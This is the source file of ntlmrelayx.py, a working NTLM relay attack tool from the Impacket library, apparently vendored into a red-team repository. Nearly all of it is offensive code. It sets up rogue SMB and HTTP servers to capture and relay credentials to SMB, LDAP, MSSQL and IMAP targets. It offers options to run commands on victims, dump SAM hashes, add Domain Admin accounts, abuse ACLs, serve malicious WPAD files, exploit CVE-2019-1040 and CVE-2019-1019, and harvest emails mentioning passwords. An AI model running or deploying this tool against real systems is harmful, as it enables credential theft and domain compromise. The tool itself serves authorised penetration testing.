github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/ntlmrelayx.py (about)

     1  #!/usr/bin/env python
     2  # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
     3  #
     4  # This software is provided under under a slightly modified version
     5  # of the Apache Software License. See the accompanying LICENSE file
     6  # for more information.
     7  #
     8  # Generic NTLM Relay Module
     9  #
    10  # Authors:
    11  #  Alberto Solino (@agsolino)
    12  #  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
    13  #
    14  # Description:
    15  #             This module performs the SMB Relay attacks originally discovered
    16  # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc).
    17  # It receives a list of targets and for every connection received it
    18  # will choose the next target and try to relay the credentials. Also, if
    19  # specified, it will first to try authenticate against the client connecting
    20  # to us.
    21  #
    22  # It is implemented by invoking a SMB and HTTP Server, hooking to a few
    23  # functions and then using the specific protocol clients (e.g. SMB, LDAP).
    24  # It is supposed to be working on any LM Compatibility level. The only way
    25  # to stop this attack is to enforce on the server SPN checks and or signing.
    26  #
    27  # If the authentication against the targets succeeds, the client authentication
    28  # succeeds as well and a valid connection is set against the local smbserver.
    29  # It's up to the user to set up the local smbserver functionality. One option
    30  # is to set up shares with whatever files you want to so the victim thinks it's
    31  # connected to a valid SMB server. All that is done through the smb.conf file or
    32  # programmatically.
    33  #
    34  
    35  import argparse
    36  import sys
    37  import logging
    38  import cmd
    39  try:
    40      from urllib.request import ProxyHandler, build_opener, Request
    41  except ImportError:
    42      from urllib2 import ProxyHandler, build_opener, Request
    43  
    44  import json
    45  from threading import Thread
    46  
    47  from impacket import version
    48  from impacket.examples import logger
    49  from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
    50  from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
    51  from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
    52  from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
    53  
    54  RELAY_SERVERS = []
    55  
    56  class MiniShell(cmd.Cmd):
    57      def __init__(self, relayConfig, threads):
    58          cmd.Cmd.__init__(self)
    59  
    60          self.prompt = 'ntlmrelayx> '
    61          self.tid = None
    62          self.relayConfig = relayConfig
    63          self.intro = 'Type help for list of commands'
    64          self.relayThreads = threads
    65          self.serversRunning = True
    66  
    67      @staticmethod
    68      def printTable(items, header):
    69          colLen = []
    70          for i, col in enumerate(header):
    71              rowMaxLen = max([len(row[i]) for row in items])
    72              colLen.append(max(rowMaxLen, len(col)))
    73  
    74          outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
    75  
    76          # Print header
    77          print(outputFormat.format(*header))
    78          print('  '.join(['-' * itemLen for itemLen in colLen]))
    79  
    80          # And now the rows
    81          for row in items:
    82              print(outputFormat.format(*row))
    83  
    84      def emptyline(self):
    85          pass
    86  
    87      def do_targets(self, line):
    88          for url in self.relayConfig.target.originalTargets:
    89              print(url.geturl())
    90          return
    91  
    92      def do_socks(self, line):
    93          headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"]
    94          url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays"
    95          try:
    96              proxy_handler = ProxyHandler({})
    97              opener = build_opener(proxy_handler)
    98              response = Request(url)
    99              r = opener.open(response)
   100              result = r.read()
   101              items = json.loads(result)
   102          except Exception as e:
   103              logging.error("ERROR: %s" % str(e))
   104          else:
   105              if len(items) > 0:
   106                  self.printTable(items, header=headers)
   107              else:
   108                  logging.info('No Relays Available!')
   109  
   110      def do_startservers(self, line):
   111          if not self.serversRunning:
   112              start_servers(options, self.relayThreads)
   113              self.serversRunning = True
   114              logging.info('Relay servers started')
   115          else:
   116              logging.error('Relay servers are already running!')
   117  
   118      def do_stopservers(self, line):
   119          if self.serversRunning:
   120              stop_servers(self.relayThreads)
   121              self.serversRunning = False
   122              logging.info('Relay servers stopped')
   123          else:
   124              logging.error('Relay servers are already stopped!')
   125  
   126      def do_exit(self, line):
   127          print("Shutting down, please wait!")
   128          return True
   129  
   130      def do_EOF(self, line):
   131          return self.do_exit(line)
   132  
   133  def start_servers(options, threads):
   134      for server in RELAY_SERVERS:
   135          #Set up config
   136          c = NTLMRelayxConfig()
   137          c.setProtocolClients(PROTOCOL_CLIENTS)
   138          c.setRunSocks(options.socks, socksServer)
   139          c.setTargets(targetSystem)
   140          c.setExeFile(options.e)
   141          c.setCommand(options.c)
   142          c.setEnumLocalAdmins(options.enum_local_admins)
   143          c.setEncoding(codec)
   144          c.setMode(mode)
   145          c.setAttacks(PROTOCOL_ATTACKS)
   146          c.setLootdir(options.lootdir)
   147          c.setOutputFile(options.output_file)
   148          c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access)
   149          c.setMSSQLOptions(options.query)
   150          c.setInteractive(options.interactive)
   151          c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max)
   152          c.setIPv6(options.ipv6)
   153          c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
   154          c.setSMB2Support(options.smb2support)
   155          c.setInterfaceIp(options.interface_ip)
   156          c.setExploitOptions(options.remove_mic, options.remove_target)
   157  
   158  
   159          if server is HTTPRelayServer:
   160              c.setListeningPort(options.http_port)
   161              c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
   162          elif server is SMBRelayServer:
   163              c.setListeningPort(options.smb_port)
   164  
   165          #If the redirect option is set, configure the HTTP server to redirect targets to SMB
   166          if server is HTTPRelayServer and options.r is not None:
   167              c.setMode('REDIRECT')
   168              c.setRedirectHost(options.r)
   169  
   170          #Use target randomization if configured and the server is not SMB
   171          #SMB server at the moment does not properly store active targets so selecting them randomly will cause issues
   172          if server is not SMBRelayServer and options.random:
   173              c.setRandomTargets(True)
   174  
   175          s = server(c)
   176          s.start()
   177          threads.add(s)
   178      return c
   179  
   180  def stop_servers(threads):
   181      todelete = []
   182      for thread in threads:
   183          if isinstance(thread, RELAY_SERVERS):
   184              thread.server.shutdown()
   185              todelete.append(thread)
   186      # Now remove threads from the set
   187      for thread in todelete:
   188          threads.remove(thread)
   189          del thread
   190  
   191  # Process command-line arguments.
   192  if __name__ == '__main__':
   193  
   194      # Init the example's logger theme
   195      logger.init()
   196      print(version.BANNER)
   197      #Parse arguments
   198      parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
   199                                      "try to relay that connection to specified target(s) system or the original client")
   200      parser._optionals.title = "Main options"
   201  
   202      #Main arguments
   203      parser.add_argument("-h","--help", action="help", help='show this help message and exit')
   204      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   205      parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, '
   206                    'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
   207      parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
   208                                                                               'full URL, one per line')
   209      parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
   210                                                          'automatically (only valid with -tf)')
   211      parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead'
   212                          'of executing a command after a successful relay. This console will listen locally on a '
   213                          ' tcp port and can be reached with for example netcat.')
   214  
   215      # Interface address specification
   216      parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
   217                    'bind SMB and HTTP servers',default='')
   218  
   219      serversoptions = parser.add_mutually_exclusive_group()
   220      serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server')
   221      serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
   222  
   223      parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
   224      parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80)
   225  
   226      parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)')
   227      parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
   228      parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
   229                      'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
   230      parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
   231                                                                     'will be added for ntlm and ntlmv2')
   232      parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
   233                                                         '"%s"). If errors are detected, run chcp.com at the target, '
   234                                                         'map the result with '
   235                                                         'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py '
   236                                                         'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
   237      parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support (experimental!)')
   238      parser.add_argument('-socks', action='store_true', default=False,
   239                          help='Launch a SOCKS proxy for the connection relayed')
   240      parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, '
   241                                                                     'setting the proxy host to the one supplied.')
   242      parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed '
   243                                                                     'before serving a WPAD file.')
   244      parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
   245      parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
   246  
   247      #SMB arguments
   248      smboptions = parser.add_argument_group("SMB client options")
   249  
   250      smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
   251                                       'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
   252      smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
   253                          'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
   254                                                            'directory).')
   255      smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)')
   256  
   257      #MSSQL arguments
   258      mssqloptions = parser.add_argument_group("MSSQL client options")
   259      mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
   260                          '(can specify multiple)')
   261  
   262      #HTTPS options
   263      httpoptions = parser.add_argument_group("HTTP options")
   264      httpoptions.add_argument('-machine-account', action='store', required=False,
   265                              help='Domain machine account to use when interacting with the domain to grab a session key for '
   266                                   'signing, format is domain/machine_name')
   267      httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
   268                              help='Domain machine hashes, format is LMHASH:NTHASH')
   269      httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
   270      httpoptions.add_argument('-remove-target', action='store_true', default=False,
   271                              help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')
   272  
   273      #LDAP options
   274      ldapoptions = parser.add_argument_group("LDAP client options")
   275      ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
   276      ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
   277      ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')
   278      ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')
   279      ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')
   280      ldapoptions.add_argument('--add-computer', action='store_true', required=False, help='Attempt to add a new computer account')
   281      ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')
   282  
   283      #IMAP options
   284      imapoptions = parser.add_argument_group("IMAP client options")
   285      imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
   286                          'If not specified, will search for mails containing "password"')
   287      imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
   288      imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
   289                          'dump all emails')
   290      imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
   291          '(0 = unlimited, default: no limit)')
   292  
   293      try:
   294         options = parser.parse_args()
   295      except Exception as e:
   296         logging.error(str(e))
   297         sys.exit(1)
   298  
   299      if options.debug is True:
   300          logging.getLogger().setLevel(logging.DEBUG)
   301      else:
   302          logging.getLogger().setLevel(logging.INFO)
   303          logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
   304  
   305      # Let's register the protocol clients we have
   306      # ToDo: Do this better somehow
   307      from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS
   308      from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
   309  
   310  
   311      if options.codec is not None:
   312          codec = options.codec
   313      else:
   314          codec = sys.getdefaultencoding()
   315  
   316      if options.target is not None:
   317          logging.info("Running in relay mode to single host")
   318          mode = 'RELAY'
   319          targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS)
   320      else:
   321          if options.tf is not None:
   322              #Targetfile specified
   323              logging.info("Running in relay mode to hosts in targetfile")
   324              targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS)
   325              mode = 'RELAY'
   326          else:
   327              logging.info("Running in reflection mode")
   328              targetSystem = None
   329              mode = 'REFLECTION'
   330  
   331      if not options.no_smb_server:
   332          RELAY_SERVERS.append(SMBRelayServer)
   333  
   334      if not options.no_http_server:
   335          RELAY_SERVERS.append(HTTPRelayServer)
   336  
   337          if options.r is not None:
   338              logging.info("Running HTTP server in redirect mode")
   339  
   340  
   341      if targetSystem is not None and options.w:
   342          watchthread = TargetsFileWatcher(targetSystem)
   343          watchthread.start()
   344  
   345      threads = set()
   346      socksServer = None
   347      if options.socks is True:
   348          # Start a SOCKS proxy in the background
   349          socksServer = SOCKS()
   350          socksServer.daemon_threads = True
   351          socks_thread = Thread(target=socksServer.serve_forever)
   352          socks_thread.daemon = True
   353          socks_thread.start()
   354          threads.add(socks_thread)
   355  
   356      c = start_servers(options, threads)
   357  
   358      print("")
   359      logging.info("Servers started, waiting for connections")
   360      try:
   361          if options.socks:
   362              shell = MiniShell(c, threads)
   363              shell.cmdloop()
   364          else:
   365              sys.stdin.read()
   366      except KeyboardInterrupt:
   367          pass
   368      else:
   369          pass
   370  
   371      if options.socks is True:
   372          socksServer.shutdown()
   373          del socksServer
   374  
   375      for s in threads:
   376          del s
   377  
   378      sys.exit(0)